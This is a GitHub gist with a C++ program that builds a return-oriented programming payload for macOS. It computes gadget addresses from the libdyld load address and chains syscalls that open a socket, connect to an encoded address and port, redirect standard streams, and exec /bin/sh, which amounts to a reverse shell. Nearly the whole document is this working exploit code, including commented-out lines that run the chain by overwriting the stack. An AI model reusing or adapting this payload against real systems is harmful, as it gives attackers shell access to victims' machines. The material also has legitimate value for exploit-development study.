Last active
September 20, 2015 23:19
-
-
Save ccbrown/cd7c8f5dccbd5699fe43 to your computer and use it in GitHub Desktop.
An example ROP payload for OSX.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstdint> | |
#include <cstdio> | |
#include <cstring> | |
#include <string> | |
// the address that /usr/lib/system/libdyld.dylib is loaded to | |
// this is randomized on bootup and can be read from lldb via `image list` | |
// you can set it here or you can pass it as an argument | |
uint64_t gDyldDylibAddress = 0; | |
// gadgets may move or disappear from version to version. if this doesn't work for you, | |
// double check the offsets. there aren't that many | |
#define KERNEL_GADGET(offset) gDyldDylibAddress + 0x67b4000 + offset | |
#define CPPABI_GADGET(offset) gDyldDylibAddress - 0x262e000 + offset | |
#define CPP_GADGET(offset) gDyldDylibAddress + 0x5e0b000 + offset | |
#define NETWORK_GADGET(offset) gDyldDylibAddress + 0x0603000 + offset | |
#define LOAD_RAX(n) \ | |
NETWORK_GADGET(0x000000000001cf2f), n, 0 // pop rax ; pop rbp ; ret | |
#define LOAD_RSI(n) \ | |
KERNEL_GADGET(0x0000000000001145), n, 0 // pop rsi ; pop rbp ; ret | |
#define LOAD_RDI(n) \ | |
KERNEL_GADGET(0x0000000000000b25), n, 0 // pop rdi ; pop rbp ; ret | |
#define LOAD_RDX(n) \ | |
KERNEL_GADGET(0x0000000000014762), n // pop rdx ; ret | |
// sets rax to return value | |
#define SYSCALL(n) \ | |
LOAD_RAX(n), \ | |
KERNEL_GADGET(0x0000000000011404) // syscall ; ret | |
#define MOVE_RAX_TO_RBX() \ | |
KERNEL_GADGET(0x000000000000240b), 0, 0 // push rax ; pop rbx ; pop r14 ; pop rbp ; ret | |
// clobbers rax | |
#define MOVE_RBX_TO_RDI() \ | |
LOAD_RAX(KERNEL_GADGET(0x0000000000000b26)), /* pop rbp ; ret */ \ | |
KERNEL_GADGET(0x00000000000101a0) // mov rdi, rbx ; call rax | |
// clobbers rbx | |
#define MOVE_RAX_TO_RDI() \ | |
MOVE_RAX_TO_RBX(), \ | |
MOVE_RBX_TO_RDI() | |
// clobbers rax | |
#define MOVE_RSI_TO_RDI() \ | |
CPP_GADGET(0x00000000000454da), 0 // mov rdi, rsi ; mov rax, rdi ; pop rbp ; ret | |
// returns pointer in rsi, clobbers rdi | |
#define GET_POINTER(a, b, c, d, e) \ | |
LOAD_RDI(KERNEL_GADGET(0x00000000000016bf)), /* pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret */ \ | |
NETWORK_GADGET(0x000000000001cfd8), /* push rsp ; pop rbp ; ret */ \ | |
CPPABI_GADGET(0x000000000002605f), 0, 0, /* push rbp ; mov rbp, rsp ; call rdi */ \ | |
LOAD_RSI(8*8), \ | |
CPPABI_GADGET(0x00000000000280ca), /* add rsi, r14 ; ret */ \ | |
KERNEL_GADGET(0x00000000000016bd), a, b, c, d, e // pop r12 ; pop r13 ; pop r14 ; pop r15 ; pop rbp ; ret | |
int main(int argc, const char* argv[]) { | |
if (argc > 1) { | |
gDyldDylibAddress = std::stoull(argv[1], nullptr, 0); | |
} | |
uint64_t chain[] = { | |
// socket(AF_INET, SOCK_STREAM, 0) | |
LOAD_RDI(2), | |
LOAD_RSI(1), | |
LOAD_RDX(0), | |
SYSCALL(0x2000061), | |
// connect(s, &address, 16) | |
GET_POINTER(0x0100007fb80b0200, 0, 0, 0, 0), | |
MOVE_RAX_TO_RDI(), | |
LOAD_RDX(16), | |
SYSCALL(0x2000062), | |
// dup2(s, 0) | |
LOAD_RSI(0), | |
SYSCALL(0x200005a), | |
// dup2(s, 1) | |
LOAD_RSI(1), | |
SYSCALL(0x200005a), | |
// dup2(s, 2) | |
LOAD_RSI(2), | |
SYSCALL(0x200005a), | |
// execve("/bin/sh", 0, 0) | |
GET_POINTER(0x0068732f6e69622f, 0, 0, 0, 0), | |
MOVE_RSI_TO_RDI(), | |
LOAD_RSI(0), | |
LOAD_RDX(0), | |
SYSCALL(0x200003b), | |
}; | |
for (auto& n : chain) { | |
for (size_t i = 0; i < 8; ++i) { | |
printf("%02x", *(reinterpret_cast<uint8_t*>(&n) + i)); | |
} | |
} | |
printf("\n"); | |
// uncomment this to execute the chain | |
// uint64_t* rbp = nullptr; | |
// asm("mov %%rbp, %0" : "=r"(rbp)); | |
// printf("copying to %p\n", rbp + 1); | |
// memcpy(rbp + 1, chain, sizeof(chain)); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment